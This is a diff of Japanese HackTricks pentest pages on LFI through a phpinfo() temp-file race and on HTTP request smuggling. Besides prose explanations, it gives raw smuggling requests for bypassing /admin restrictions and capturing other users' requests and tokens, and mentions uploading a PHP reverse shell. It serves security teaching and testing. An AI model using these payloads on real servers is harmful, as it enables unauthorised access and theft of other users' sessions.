**Linux**では、ファイルの名前は**ランダム**で、**/tmp**にあります。名前がランダムであるため、一時ファイルの名前を**どこかから抽出する必要があり**、削除される前にアクセスする必要があります。これは、関数"**phpconfig()**"の内容内で**変数$\_FILES**の値を読み取ることで行うことができます。 **Linux**では、ファイルの名前は**ランダム**で、**/tmp**にあります。名前がランダムであるため、一時ファイルの名前を**どこかから抽出**、削除される前にアクセスする必要があります。これは、関数"**phpconfig()**"の内容内で**変数$\_FILES**の値を読み取ることで行うことができます。
**phpinfo()** **phpinfo()**
**PHP**は**4096B**のバッファを使用し、**満杯**になると**クライアントに送信**されます。次に、クライアントは**大きなリクエストをたくさん送信**(大きなヘッダーを使用)し**php**リバース**シェルをアップロード**し、**phpinfo()の最初の部分が返されるのを待ち**(一時ファイルの名前がる場所、LFI脆弱性を悪用してphpサーバーがファイルを削除する前に**一時ファイルにアクセス**しようとします。 **PHP**は**4096B**のバッファを使用し、バッファが**満杯**になると、**クライアントに送信**されます。その後、クライアントは**大きなリクエストをたくさん送信**(大きなヘッダーを使用)し**php**リバース**シェルをアップロード**し、**phpinfo()の最初の部分が返されるのを待ち**(一時ファイルの名前が含まれている場所、LFI脆弱性を悪用してphpサーバーがファイルを削除する前に**一時ファイルにアクセス**しようとします。
**名前をブルートフォースするためのPythonスクリプト長さ=6の場合** **名前をブルートフォースするためのPythonスクリプト長さ=6の場合**
```python ```python
@ -64,6 +72,14 @@ sys.exit(0)
print('[x] Something went wrong, please try again') print('[x] Something went wrong, please try again')
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを見つめる
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -74,7 +90,7 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。** * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}

View file

@ -10,15 +10,23 @@ GCPハッキングを学び、実践する: <img src="../../.gitbook/assets/grte
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
{% endhint %} {% endhint %}
## 何か <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### ハッカーの視点からあなたのウェブアプリ、ネットワーク、クラウドを評価する
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告書に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## これは何か
この脆弱性は、**フロントエンドプロキシ**と**バックエンド**サーバー間の**非同期化**により、**攻撃者**がHTTP **リクエスト**を**送信**できる場合に発生します。このリクエストは、**フロントエンド**プロキシ(ロードバランス/リバースプロキシ)によって**単一のリクエスト**として**解釈され**、**バックエンド**サーバーによって**2つのリクエスト**として**解釈されます**。\ この脆弱性は、**フロントエンドプロキシ**と**バックエンド**サーバー間の**非同期化**により、**攻撃者**がHTTP **リクエスト**を**送信**できる場合に発生します。このリクエストは、**フロントエンド**プロキシ(ロードバランス/リバースプロキシ)によって**単一のリクエスト**として**解釈され**、**バックエンド**サーバーによって**2つのリクエスト**として**解釈されます**。\
これにより、ユーザーは**自分のリクエストの後にバックエンドサーバーに到着する次のリクエストを**変更することができます。 これにより、ユーザーは**バックエンドサーバーに到着する次のリクエストを変更することができます**
### 理論 ### 理論
@ -37,15 +45,15 @@ GCPハッキングを学び、実践する: <img src="../../.gitbook/assets/grte
### 現実 ### 現実
**フロントエンド**(ロードバランス/リバースプロキシは_**content-length**_または_**transfer-encoding**_ヘッダーを**処理**し、**バックエンド**サーバーは**他の**ものを**処理**し、2つのシステム間に**非同期化**を引き起こします。\ **フロントエンド**(ロードバランス/リバースプロキシは_**content-length**_または_**transfer-encoding**_ヘッダーを処理し、**バックエンド**サーバーは他のヘッダーを処理し、2つのシステム間に**非同期化**を引き起こします。\
これは非常に重大な問題であり、**攻撃者はリバースプロキシに1つのリクエストを送信でき**、それが**バックエンド**サーバーによって**2つの異なるリクエスト**として**解釈されます**。この技術の**危険性**は、**バックエンド**サーバーが**2番目のリクエストを注入されたものとして**解釈し、**そのクライアントの実際のリクエストが**注入されたリクエストの**一部**になるという事実にあります。 これは非常に重大な問題であり、**攻撃者はリバースプロキシに1つのリクエストを送信でき**、それが**バックエンド**サーバーによって**2つの異なるリクエスト**として**解釈されます**。この技術の**危険性**は、**バックエンド**サーバーが**2番目のリクエストを注入されたものとして**解釈し、**そのクライアントの実際のリクエストが**注入されたリクエストの**一部**になるとにあります。
### 特異性 ### 特異性
HTTPでは**新しい行文字は2バイトで構成されています:** HTTPでは**新しい行文字は2バイトで構成されています**
* **Content-Length**: このヘッダーは、リクエストの**ボディ**の**バイト数**を示すために**10進数**を使用します。ボディは最後の文字で終了することが期待されており、**リクエストの最後に新しい行は必要ありません**。 * **Content-Length**: このヘッダーは、リクエストの**ボディ**の**バイト数**を示すために**10進数**を使用します。ボディは最後の文字で終了することが期待されており、**リクエストの最後に新しい行は必要ありません**。
* **Transfer-Encoding:** このヘッダーは、**次のチャンク****バイト数**を示すために**16進数**を使用します。**チャンク**は**新しい行**で**終了**しなければなりませんが、この新しい行は**長さインジケーターによってカウントされません**。この転送方法は、**サイズ0のチャンクの後に2つの新しい行**で終了しなければなりません: `0` * **Transfer-Encoding:** このヘッダーは、**ボディ**内で**16進数**を使用して**次のチャンクのバイト数**を示します。**チャンク**は**新しい行**で**終了**しなければなりませんが、この新しい行は**長さ指標**によって**カウントされません**。この転送方法は、**サイズ0のチャンクの後に2つの新しい行**で終了しなければなりません`0`
* **Connection**: 私の経験に基づいて、リクエストスムーギングの最初のリクエストでは**`Connection: keep-alive`**を使用することをお勧めします。 * **Connection**: 私の経験に基づいて、リクエストスムーギングの最初のリクエストでは**`Connection: keep-alive`**を使用することをお勧めします。
## 基本的な例 ## 基本的な例
@ -54,7 +62,7 @@ HTTPでは**新しい行文字は2バイトで構成されています:**
Burp Suiteを使用してこれを悪用しようとする場合は、リピーターで**`Update Content-Length`と`Normalize HTTP/1 line endings`を無効にしてください**。一部のガジェットは新しい行、キャリッジリターン、および不正なContent-Lengthを悪用します。 Burp Suiteを使用してこれを悪用しようとする場合は、リピーターで**`Update Content-Length`と`Normalize HTTP/1 line endings`を無効にしてください**。一部のガジェットは新しい行、キャリッジリターン、および不正なContent-Lengthを悪用します。
{% endhint %} {% endhint %}
HTTPリクエストスムーギング攻撃は、フロントエンドとバックエンドサーバーが`Content-Length`CLおよび`Transfer-Encoding`TEヘッダーを解釈する際の不一致を利用して、あいまいなリクエストを送信することによって作成されます。これらの攻撃は、主に**CL.TE**、**TE.CL**、および**TE.TE**として異なる形で現れます。各タイプは、フロントエンドとバックエンドサーバーがこれらのヘッダーを優先する方法のユニークな組み合わせを表します。脆弱性は、サーバーが同じリクエストを異なる方法で処理することから生じ、予期しない、そして潜在的に悪意のある結果を引き起こします。 HTTPリクエストスムーギング攻撃は、フロントエンドとバックエンドサーバーが`Content-Length`CLおよび`Transfer-Encoding`TEヘッダーを解釈する際の不一致を悪用するあいまいなリクエストを送信することによって作成されます。これらの攻撃は、主に**CL.TE**、**TE.CL**、および**TE.TE**として異なる形で現れます。各タイプは、フロントエンドとバックエンドサーバーがこれらのヘッダーを優先する方法のユニークな組み合わせを表します。脆弱性は、サーバーが同じリクエストを異なる方法で処理することから生じ、予期しない、そして潜在的に悪意のある結果をもたらします。
### 脆弱性タイプの基本的な例 ### 脆弱性タイプの基本的な例
@ -71,7 +79,7 @@ HTTPリクエストスムーギング攻撃は、フロントエンドとバッ
* **攻撃シナリオ:** * **攻撃シナリオ:**
* 攻撃者は、`Content-Length`ヘッダーの値が実際のコンテンツ長と一致しないリクエストを送信します。 * 攻撃者は、`Content-Length`ヘッダーの値が実際のコンテンツ長と一致しないリクエストを送信します。
* フロントエンドサーバーは、`Content-Length`の値に基づいてリクエスト全体をバックエンドに転送します。 * フロントエンドサーバーは、`Content-Length`の値に基づいてリクエスト全体をバックエンドに転送します。
* バックエンドサーバーは、`Transfer-Encoding: chunked`ヘッダーによりリクエストをチャンクとして処理し、残りのデータを別の後続リクエストとして解釈します。 * バックエンドサーバーは、`Transfer-Encoding: chunked`ヘッダーによりリクエストをチャンクとして処理し、残りのデータを別の次のリクエストとして解釈します。
* **例:** * **例:**
``` ```
@ -92,9 +100,9 @@ Foo: x
* **フロントエンド (TE):** `Transfer-Encoding`ヘッダーに基づいてリクエストを処理します。 * **フロントエンド (TE):** `Transfer-Encoding`ヘッダーに基づいてリクエストを処理します。
* **バックエンド (CL):** `Content-Length`ヘッダーに基づいてリクエストを処理します。 * **バックエンド (CL):** `Content-Length`ヘッダーに基づいてリクエストを処理します。
* **攻撃シナリオ:** * **攻撃シナリオ:**
* 攻撃者は、チャンクサイズ(`7b`)と実際のコンテンツ長(`Content-Length: 4`)が一致しないチャンク化されたリクエストを送信します。 * 攻撃者は、チャンクサイズ(`7b`)と実際のコンテンツ長(`Content-Length: 4`)が一致しないチャンクリクエストを送信します。
* フロントエンドサーバーは、`Transfer-Encoding`を尊重し、リクエスト全体をバックエンドに転送します。 * フロントエンドサーバーは、`Transfer-Encoding`を尊重し、リクエスト全体をバックエンドに転送します。
* バックエンドサーバーは、`Content-Length`を尊重し、リクエストの最初の部分(`7b`バイト)だけを処理し、残りを意図しない後続リクエストの一部として残します。 * バックエンドサーバーは、`Content-Length`を尊重し、リクエストの最初の部分(`7b`バイト)だけを処理し、残りを意図しない次のリクエストの一部として残します。
* **例:** * **例:**
``` ```
@ -117,11 +125,11 @@ x=
#### TE.TE脆弱性両方で使用されるTransfer-Encoding、難読化を伴う #### TE.TE脆弱性両方で使用されるTransfer-Encoding、難読化を伴う
* **サーバー:** 両方`Transfer-Encoding`をサポートしていますが、一方は難読化を介して無視されるように騙される可能性があります。 * **サーバー:** 両方とも`Transfer-Encoding`をサポートしていますが、一方は難読化を介して無視されるように騙される可能性があります。
* **攻撃シナリオ:** * **攻撃シナリオ:**
* 攻撃者は、難読化された`Transfer-Encoding`ヘッダーを持つリクエストを送信します。 * 攻撃者は、難読化された`Transfer-Encoding`ヘッダーを持つリクエストを送信します。
* どちらのサーバーフロントエンドまたはバックエンドが難読化を認識できないかに応じて、CL.TEまたはTE.CLの脆弱性が悪用される可能性があります。 * どちらのサーバーフロントエンドまたはバックエンドが難読化を認識できないかに応じて、CL.TEまたはTE.CLの脆弱性が悪用される可能性があります。
* リクエストの未処理部分は、サーバーの1つによって見られ、後続のリクエストの一部となり、スムーギングを引き起こします。 * リクエストの未処理部分は、サーバーの1つによって次のリクエストの一部となり、スムーギングが発生します。
* **例:** * **例:**
``` ```
@ -159,7 +167,7 @@ Normal Request
#### **CL.0シナリオ** #### **CL.0シナリオ**
* `Content-Length`ヘッダーが存在し、ゼロ以外の値を持ち、リクエストボディにコンテンツがあることを示すシナリオを指します。バックエンドは`Content-Length`ヘッダーを無視しますこれは0として扱われますが、フロントエンドはそれを解析します。 * `Content-Length`ヘッダーが存在し、ゼロ以外の値を持ち、リクエストボディにコンテンツがあることを示すシナリオを指します。バックエンドは`Content-Length`ヘッダーを無視しますこれは0として扱われますが、フロントエンドはそれを解析します。
* これは、サーバーがリクエストの終了を決定する方法に影響を与えるため、スムーギング攻撃を理解し、作成する上で重要です。 * スムーギング攻撃を理解し、作成する上で重要であり、サーバーがリクエストの終わりを決定する方法に影響を与えます。
* **例:** * **例:**
``` ```
@ -173,7 +181,7 @@ Non-Empty Body
#### TE.0シナリオ #### TE.0シナリオ
* 前のものと同様ですが、TEを使用しています。 * 前のものと同様ですが、TEを使用します。
* 技術は[こちらで報告されています](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) * 技術は[こちらで報告されています](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
* **例**: * **例**:
``` ```
@ -197,11 +205,11 @@ EMPTY_LINE_HERE
この技術は、**初期のHTTPデータを読み取る際にウェブサーバーを破壊する**ことが可能なシナリオでも有用ですが、**接続を閉じることなく**行います。この方法では、HTTPリクエストの**ボディ**が**次のHTTPリクエスト**として扱われます。 この技術は、**初期のHTTPデータを読み取る際にウェブサーバーを破壊する**ことが可能なシナリオでも有用ですが、**接続を閉じることなく**行います。この方法では、HTTPリクエストの**ボディ**が**次のHTTPリクエスト**として扱われます。
例えば、[**この書き込み**](https://mizu.re/post/twisty-python)で説明されているように、Werkzeugではいくつかの**Unicode**文字を送信することでサーバーが**破壊**されることが可能でした。しかし、HTTP接続が**`Connection: keep-alive`**ヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままなるため、リクエストの**ボディ**は**次のHTTPリクエスト**として扱われます。 例えば、[**この書き込み**](https://mizu.re/post/twisty-python)で説明されているように、Werkzeugではいくつかの**Unicode**文字を送信することでサーバーが**破壊**されることが可能でした。しかし、HTTP接続が**`Connection: keep-alive`**ヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままなるため、リクエストの**ボディ**は**次のHTTPリクエスト**として扱われます。
#### ホップバイホップヘッダーによる強制 #### ホップバイホップヘッダーによる強制
ホップバイホップヘッダーを悪用することで、プロキシに**Content-LengthまたはTransfer-Encodingヘッダーを削除させることができ、HTTPリクエストスムージングを悪用することが可能です**。 ホップバイホップヘッダーを悪用することで、プロキシに**Content-LengthまたはTransfer-Encodingヘッダーを削除させることができ、HTTPリクエストスムグリングを悪用することが可能です**。
``` ```
Connection: Content-Length Connection: Content-Length
``` ```
@ -211,15 +219,15 @@ For **more information about hop-by-hop headers** visit:
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md) [abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
{% endcontent-ref %} {% endcontent-ref %}
## Finding HTTP Request Smuggling ## HTTPリクエストスムージングの発見
HTTPリクエストスムーングの脆弱性を特定するには、サーバーが操作されたリクエストに応答するのにかかる時間を観察するタイミング技術を使用することがよくあります。これらの技術は、特にCL.TEおよびTE.CLの脆弱性を検出するのに役立ちます。これらの方法に加えて、こうした脆弱性を見つけるために使用できる他の戦略やツールもあります。 HTTPリクエストスムーングの脆弱性を特定するには、サーバーが操作されたリクエストに応答するのにかかる時間を観察するタイミング技術を使用することがよくあります。これらの技術は、CL.TEおよびTE.CLの脆弱性を検出するのに特に役立ちます。これらの方法に加えて、他にもこのような脆弱性を見つけるために使用できる戦略やツールがあります。
### Finding CL.TE Vulnerabilities Using Timing Techniques ### タイミング技術を使用したCL.TE脆弱性の発見
* **Method:** * **方法:**
* アプリケーションが脆弱な場合、バックエンドサーバーが追加データを待機するリクエストを送信します。 * アプリケーションが脆弱な場合、バックエンドサーバーが追加データを待機するリクエストを送信します。
* **Example:** * **:**
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
@ -232,18 +240,18 @@ Content-Length: 4
A A
0 0
``` ```
* **Observation:** * **観察:**
* フロントエンドサーバーは`Content-Length`に基づいてリクエストを処理し、メッセージを早期に切り捨てます。 * フロントエンドサーバーは`Content-Length`に基づいてリクエストを処理し、メッセージを早期に切り捨てます。
* バックエンドサーバーはチャンクメッセージを期待しており、決して到着しない次のチャンクを待ため、遅延が発生します。 * バックエンドサーバーはチャンクメッセージを期待しており、決して到着しない次のチャンクを待機するため、遅延が発生します。
* **Indicators:** * **指標:**
* タイムアウトや応答の長い遅延。 * タイムアウトや応答の長い遅延。
* バックエンドサーバーから400 Bad Requestエラーを受信することがあり、時には詳細なサーバー情報が含まれます。 * バックエンドサーバーから400 Bad Requestエラーを受信することがあり、時には詳細なサーバー情報が含まれます。
### Finding TE.CL Vulnerabilities Using Timing Techniques ### タイミング技術を使用したTE.CL脆弱性の発見
* **Method:** * **方法:**
* アプリケーションが脆弱な場合、バックエンドサーバーが追加データを待機するリクエストを送信します。 * アプリケーションが脆弱な場合、バックエンドサーバーが追加データを待機するリクエストを送信します。
* **Example:** * **:**
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
@ -255,44 +263,44 @@ Content-Length: 6
0 0
X X
``` ```
* **Observation:** * **観察:**
* フロントエンドサーバーは`Transfer-Encoding`に基づいてリクエストを処理し、メッセージ全体を転送します。 * フロントエンドサーバーは`Transfer-Encoding`に基づいてリクエストを処理し、メッセージ全体を転送します。
* バックエンドサーバーは`Content-Length`に基づいてメッセージを期待しており、決して到着しない追加データを待ため、遅延が発生します。 * バックエンドサーバーは`Content-Length`に基づいてメッセージを期待しており、決して到着しない追加データを待機するため、遅延が発生します。
### Other Methods to Find Vulnerabilities ### 脆弱性を見つけるための他の方法
* **Differential Response Analysis:** * **差分応答分析:**
* リクエストのわずかに異なるバージョンを送信し、サーバーの応答が予期しない方法で異なるかどうかを観察します。これはパースの不一致を示す可能性があります。 * リクエストのわずかに異なるバージョンを送信し、サーバーの応答が予期しない方法で異なるかどうかを観察し、解析の不一致を示します。
* **Using Automated Tools:** * **自動化ツールの使用:**
* Burp Suiteの「HTTP Request Smuggler」拡張機能のようなツールは、さまざまな曖昧なリクエストを送信し、応答を分析することでこれらの脆弱性を自動的にテストできます。 * Burp Suiteの「HTTP Request Smuggler」拡張機能のようなツールは、さまざまな形式のあいまいなリクエストを送信し、応答を分析することでこれらの脆弱性を自動的にテストできます。
* **Content-Length Variance Tests:** * **Content-Lengthの変動テスト:**
* 実際のコンテンツ長と一致しないさまざまな`Content-Length`値を持つリクエストを送信し、サーバーがその不一致をどのように処理するかを観察します。 * 実際のコンテンツ長と一致しないさまざまな`Content-Length`値を持つリクエストを送信し、サーバーがそのような不一致をどのように処理するかを観察します。
* **Transfer-Encoding Variance Tests:** * **Transfer-Encodingの変動テスト:**
* 曖昧または不正な`Transfer-Encoding`ヘッダーを持つリクエストを送信し、フロントエンドとバックエンドサーバーがその操作にどのように異なる応答を示すかを監視します。 * 難読化されたまたは不正な`Transfer-Encoding`ヘッダーを持つリクエストを送信し、フロントエンドとバックエンドサーバーがそのような操作にどのように異なる応答を示すかを監視します。
### HTTP Request Smuggling Vulnerability Testing ### HTTPリクエストスムージング脆弱性テスト
タイミング技術の効果を確認した後、クライアントリクエストを操作できるかどうかを検証することが重要です。簡単な方法は、リクエストを毒することを試みることです。たとえば、`/`へのリクエストが404応答を返すようにします。前述の[Basic Examples](./#basic-examples)で説明した`CL.TE`および`TE.CL`の例は、クライアントのリクエストを毒して404応答を引き出す方法を示していますが、クライアントは異なるリソースにアクセスしようとしています。 タイミング技術の効果を確認した後、クライアントリクエストを操作できるかどうかを検証することが重要です。簡単な方法は、リクエストを毒することを試みることです。たとえば、`/`へのリクエストが404応答を返すようにします。前述の[基本的な例](./#basic-examples)で説明した`CL.TE`および`TE.CL`の例は、クライアントが異なるリソースにアクセスしようとしているにもかかわらず、404応答を引き出すためにクライアントのリクエストをどのように毒するかを示しています。
**Key Considerations** **重要な考慮事項**
リクエストスムーギングの脆弱性を他のリクエストに干渉してテストする際には、以下の点に留意してください: 他のリクエストに干渉してリクエストスムージングの脆弱性をテストする際には、以下の点に留意してください。
* **Distinct Network Connections:** 「攻撃」と「通常」のリクエストは、別々のネットワーク接続を介して送信する必要があります。両方のリクエストに同じ接続を使用することは、脆弱性の存在を検証しません。 * **異なるネットワーク接続:** 「攻撃」と「正常」リクエストは、別々のネットワーク接続を介して送信する必要があります。両方のリクエストに同じ接続を使用することは、脆弱性の存在を検証しません。
* **Consistent URL and Parameters:** 両方のリクエストに対して同一のURLとパラメータ名を使用することを目指してください。現代のアプリケーションは、URLとパラメータに基づいて特定のバックエンドサーバーにリクエストをルーティングすることがよくあります。これらを一致させることで、両方のリクエストが同じサーバーによって処理される可能性が高まります。これは成功する攻撃の前提条件です。 * **一貫したURLとパラメータ:** 両方のリクエストに対して同一のURLとパラメータ名を使用することを目指してください。現代のアプリケーションは、URLとパラメータに基づいてリクエストを特定のバックエンドサーバーにルーティングすることがよくあります。これらを一致させることで、両方のリクエストが同じサーバーによって処理される可能性が高まり、成功する攻撃の前提条件となります。
* **Timing and Racing Conditions:** 「通常」のリクエストは、「攻撃」リクエストからの干渉を検出するために設計されており、他の同時アプリケーションリクエストと競合します。したがって、「攻撃」リクエストの直後に「常」リクエストを送信してください。忙しいアプリケーションでは、脆弱性の確認のために複数の試行が必要になる場合があります。 * **タイミングとレース条件:** 「正常」リクエストは、「攻撃」リクエストからの干渉を検出するために設計されており、他の同時アプリケーションリクエストと競合します。したがって、「攻撃」リクエストの直後に「常」リクエストを送信してください。忙しいアプリケーションでは、脆弱性の確認のために複数の試行が必要になる場合があります。
* **Load Balancing Challenges:** フロントエンドサーバーがロードバランサーとして機能している場合、リクエストをさまざまなバックエンドシステムに分配することがあります。「攻撃」と「通常」のリクエストが異なるシステムに到達した場合、攻撃は成功しません。このロードバランシングの側面は、脆弱性を確認するためにいくつかの試行を必要とする場合があります。 * **負荷分散の課題:** フロントエンドサーバーが負荷分散装置として機能する場合、リクエストをさまざまなバックエンドシステムに分配することがあります。「攻撃」と「正常」リクエストが異なるシステムに到達した場合、攻撃は成功しません。この負荷分散の側面は、脆弱性を確認するためにいくつかの試行を必要とする場合があります。
* **Unintended User Impact:** あなたの攻撃が他のユーザーのリクエスト(検出のために送信した「通常」のリクエストではない)に意図せず影響を与える場合、これはあなたの攻撃が他のアプリケーションユーザーに影響を与えたことを示します。継続的なテストは他のユーザーを混乱させる可能性があるため、慎重なアプローチが必要です。 * **意図しないユーザーへの影響:** あなたの攻撃が他のユーザーのリクエスト(検出のために送信した「正常」リクエストではない)に偶然影響を与える場合、これはあなたの攻撃が他のアプリケーションユーザーに影響を与えたことを示します。継続的なテストは他のユーザーを混乱させる可能性があるため、慎重なアプローチが必要です。
## Abusing HTTP Request Smuggling ## HTTPリクエストスムージングの悪用
### Circumventing Front-End Security via HTTP Request Smuggling ### HTTPリクエストスムージングによるフロントエンドセキュリティの回避
時には、フロントエンドプロキシがセキュリティ対策を強化し、受信リクエストを精査します。しかし、これらの対策はHTTPリクエストスムーングを利用することで回避でき、制限されたエンドポイントへの不正アクセスを可能にします。たとえば、`/admin`へのアクセスは外部から禁止されている場合があり、フロントエンドプロキシがそのような試みを積極的にブロックしています。それにもかかわらず、このプロキシはスムーグされたHTTPリクエスト内の埋め込まれたリクエストを検査しない可能性があり、これによりこれらの制限を回避するための抜け穴が残ります。 時には、フロントエンドプロキシがセキュリティ対策を強化し、受信リクエストを精査します。しかし、これらの対策はHTTPリクエストスムーングを利用することで回避でき、制限されたエンドポイントへの不正アクセスを可能にします。たとえば、`/admin`へのアクセスは外部から禁止されているかもしれませんが、フロントエンドプロキシはそのような試みを積極的にブロックしています。それにもかかわらず、このプロキシはスムージングされたHTTPリクエスト内の埋め込まれたリクエストを検査しない可能性があり、これによりこれらの制限を回避するための抜け穴が残ります。
以下の例は、HTTPリクエストスムーギングを使用してフロントエンドのセキュリティ制御を回避する方法を示しています。特に、通常フロントエンドプロキシによって保護されている`/admin`パスをターゲットにしています 以下の例は、HTTPリクエストスムージングがどのようにフロントエンドセキュリティ制御を回避するために使用できるかを示しており、特に通常フロントエンドプロキシによって保護されている`/admin`パスをターゲットにしています
**CL.TE Example** **CL.TEの例**
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: [redacted].web-security-academy.net Host: [redacted].web-security-academy.net
@ -331,7 +339,7 @@ a=x
### フロントエンドリクエストの書き換えを明らかにする <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a> ### フロントエンドリクエストの書き換えを明らかにする <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
アプリケーションは、通常、**フロントエンドサーバー**を使用して、バックエンドサーバーに渡す前に受信リクエストを変更します。典型的な変更には、クライアントのIPをバックエンドに中継するために`X-Forwarded-For: <クライアントのIP>`のようなヘッダーを追加することが含まれます。これらの変更を理解することは重要であり、**保護を回避する方法**や**隠された情報やエンドポイントを明らかにする方法**を示す可能性があります。 アプリケーションは、通常、**フロントエンドサーバー**を使用して、バックエンドサーバーに渡す前に受信リクエストを変更します。典型的な変更には、クライアントのIPをバックエンドに中継するために`X-Forwarded-For: <IP of the client>`のようなヘッダーを追加することが含まれます。これらの変更を理解することは重要であり、**保護を回避する方法**や**隠された情報やエンドポイントを明らかにする方法**を示す可能性があります。
プロキシがリクエストをどのように変更するかを調査するには、バックエンドがレスポンスでエコーするPOSTパラメータを見つけます。次に、このパラメータを最後に使用してリクエストを作成します。以下のように プロキシがリクエストをどのように変更するかを調査するには、バックエンドがレスポンスでエコーするPOSTパラメータを見つけます。次に、このパラメータを最後に使用してリクエストを作成します。以下のように
``` ```
@ -352,11 +360,11 @@ search=
``` ```
この構造では、後続のリクエストコンポーネントが `search=` の後に追加され、これはレスポンスに反映されるパラメータです。この反映により、後続のリクエストのヘッダーが露出します。 この構造では、後続のリクエストコンポーネントが `search=` の後に追加され、これはレスポンスに反映されるパラメータです。この反映により、後続のリクエストのヘッダーが露出します。
ネストされたリクエストの `Content-Length` ヘッダーを実際のコンテンツ長に合わせることが重要です。小さな値から始めて徐々に増加させることが推奨されます。値が低すぎると反映されたデータが切り捨てられ、値が高すぎるとリクエストがエラーになる可能性があります。 ネストされたリクエストの `Content-Length` ヘッダーを実際のコンテンツ長に合わせることが重要です。小さな値から始めて徐々に増加させることが推奨されます。値が低すぎると反映されたデータが切り捨てられ、高すぎるとリクエストがエラーになる可能性があります。
この技術は TE.CL 脆弱性の文脈でも適用可能ですが、リクエストは `search=\r\n0` で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。 この技術は TE.CL 脆弱性の文脈でも適用可能ですが、リクエストは `search=\r\n0` で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。
この方法は、フロントエンドプロキシによって行われたリクエストの変更を理解するために主に使用され、基本的に自己主導の調査を行います。 この方法は、フロントエンドプロキシによって行われたリクエストの変更を理解するために主に使用され、基本的に自己主導の調査を行います。
### 他のユーザーのリクエストをキャプチャする <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a> ### 他のユーザーのリクエストをキャプチャする <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
@ -384,16 +392,16 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
``` ```
